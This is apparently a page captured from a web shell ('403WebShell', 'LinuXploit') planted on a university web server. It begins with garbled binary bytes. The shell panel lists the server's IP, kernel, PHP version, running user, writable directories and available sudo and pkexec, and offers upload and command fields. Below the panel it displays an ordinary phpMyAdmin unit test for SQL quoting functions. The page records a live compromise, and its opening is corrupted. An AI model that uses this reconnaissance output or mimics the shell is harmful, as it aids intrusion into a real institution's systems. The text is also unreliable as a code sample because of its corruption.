h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/test/libraries/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin/test/libraries/common/PMA_quoting_slashing_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Test for quoting, slashing/backslashing
 *
 * @package PhpMyAdmin-test
 * @group common.lib-tests
 */

/*
 * Include to test.
 */
require_once 'libraries/Util.class.php';
require_once 'libraries/sqlparser.data.php';

/**
 * Test for quoting, slashing/backslashing
 *
 * @package PhpMyAdmin-test
 * @group common.lib-tests
 */
class PMA_QuotingSlashing_Test extends PHPUnit_Framework_TestCase
{

    /**
     * sqlAddslashes test
     *
     * @return void
     */
    public function testAddSlashes()
    {
        $string = "\'test''\''\'\r\t\n";

        $this->assertEquals(
            "\\\\\\\\\'test\'\'\\\\\\\\\'\'\\\\\\\\\'\\r\\t\\n",
            PMA_Util::sqlAddSlashes($string, true, true, true)
        );
        $this->assertEquals(
            "\\\\\\\\''test''''\\\\\\\\''''\\\\\\\\''\\r\\t\\n",
            PMA_Util::sqlAddSlashes($string, true, true, false)
        );
        $this->assertEquals(
            "\\\\\\\\\'test\'\'\\\\\\\\\'\'\\\\\\\\\'\r\t\n",
            PMA_Util::sqlAddSlashes($string, true, false, true)
        );
        $this->assertEquals(
            "\\\\\\\\''test''''\\\\\\\\''''\\\\\\\\''\r\t\n",
            PMA_Util::sqlAddSlashes($string, true, false, false)
        );
        $this->assertEquals(
            "\\\\\'test\'\'\\\\\'\'\\\\\'\\r\\t\\n",
            PMA_Util::sqlAddSlashes($string, false, true, true)
        );
        $this->assertEquals(
            "\\\\''test''''\\\\''''\\\\''\\r\\t\\n",
            PMA_Util::sqlAddSlashes($string, false, true, false)
        );
        $this->assertEquals(
            "\\\\\'test\'\'\\\\\'\'\\\\\'\r\t\n",
            PMA_Util::sqlAddSlashes($string, false, false, true)
        );
        $this->assertEquals(
            "\\\\''test''''\\\\''''\\\\''\r\t\n",
            PMA_Util::sqlAddSlashes($string, false, false, false)
        );
    }

    /**
     * data provider for PMA_Util::unQuote test
     *
     * @return array
     */
    public function unQuoteProvider()
    {
        return array(
            array('"test\'"', "test'"),
            array("'test''", "test'"),
            array("`test'`", "test'"),
            array("'test'test", "'test'test")
        );
    }

    /**
     * PMA_Util::unQuote test
     *
     * @param string $param    String
     * @param string $expected Expected output
     *
     * @return void
     *
     * @dataProvider unQuoteProvider
     */
    public function testUnQuote($param, $expected)
    {
        $this->assertEquals(
            $expected, PMA_Util::unQuote($param)
        );
    }

    /**
     * data provider for PMA_Util::unQuote test with chosen quote
     *
     * @return array
     */
    public function unQuoteSelectedProvider()
    {
        return array(
            array('"test\'"', "test'"),
            array("'test''", "'test''"),
            array("`test'`", "`test'`"),
            array("'test'test", "'test'test")
        );
    }

    /**
     * PMA_Util::unQuote test with chosen quote
     *
     * @param string $param    String
     * @param string $expected Expected output
     *
     * @return void
     *
     * @dataProvider unQuoteSelectedProvider
     */
    public function testUnQuoteSelectedChar($param, $expected)
    {
        $this->assertEquals(
            $expected, PMA_Util::unQuote($param, '"')
        );
    }

    /**
     * data provider for backquote test
     *
     * @return array
     */
    public function backquoteDataProvider()
    {
        return array(
            array('0', '`0`'),
            array('test', '`test`'),
            array('te`st', '`te``st`'),
            array(
                array('test', 'te`st', '', '*'),
                array('`test`', '`te``st`', '', '*')
            )
        );
    }

    /**
     * backquote test with different param $do_it (true, false)
     *
     * @param string $a String
     * @param string $b Expected output
     *
     * @return void
     *
     * @dataProvider backquoteDataProvider
     */
    public function testBackquote($a, $b)
    {
        // Test bypass quoting (used by dump functions)
        $this->assertEquals($a, PMA_Util::backquote($a, false));

        // Test backquote
        $this->assertEquals($b, PMA_Util::backquote($a));
    }

    /**
     * data provider for backquoteCompat test
     *
     * @return array
     */
    public function backquoteCompatDataProvider()
    {
        return array(
            array('0', '"0"'),
            array('test', '"test"'),
            array('te`st', '"te`st"'),
            array(
                array('test', 'te`st', '', '*'),
                array('"test"', '"te`st"', '', '*')
            )
        );
    }

    /**
     * backquoteCompat test with different param $compatibility (NONE, MSSQL)
     *
     * @param string $a String
     * @param string $b Expected output
     *
     * @return void
     *
     * @dataProvider backquoteCompatDataProvider
     */
    public function testbackquoteCompat($a, $b)
    {
        // Test bypass quoting (used by dump functions)
        $this->assertEquals($a, PMA_Util::backquoteCompat($a, 'NONE', false));

        // Run tests in MSSQL compatibility mode
        // Test bypass quoting (used by dump functions)
        $this->assertEquals($a, PMA_Util::backquoteCompat($a, 'MSSQL', false));

        // Test backquote
        $this->assertEquals($b, PMA_Util::backquoteCompat($a, 'MSSQL'));
    }

    /**
     * backquoteCompat test with forbidden words
     *
     * @return void
     */
    public function testBackquoteForbidenWords()
    {
        global $PMA_SQPdata_forbidden_word;

        foreach ($PMA_SQPdata_forbidden_word as $forbidden) {
            $this->assertEquals(
                "`" . $forbidden . "`",
                PMA_Util::backquote($forbidden, false)
            );
        }
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit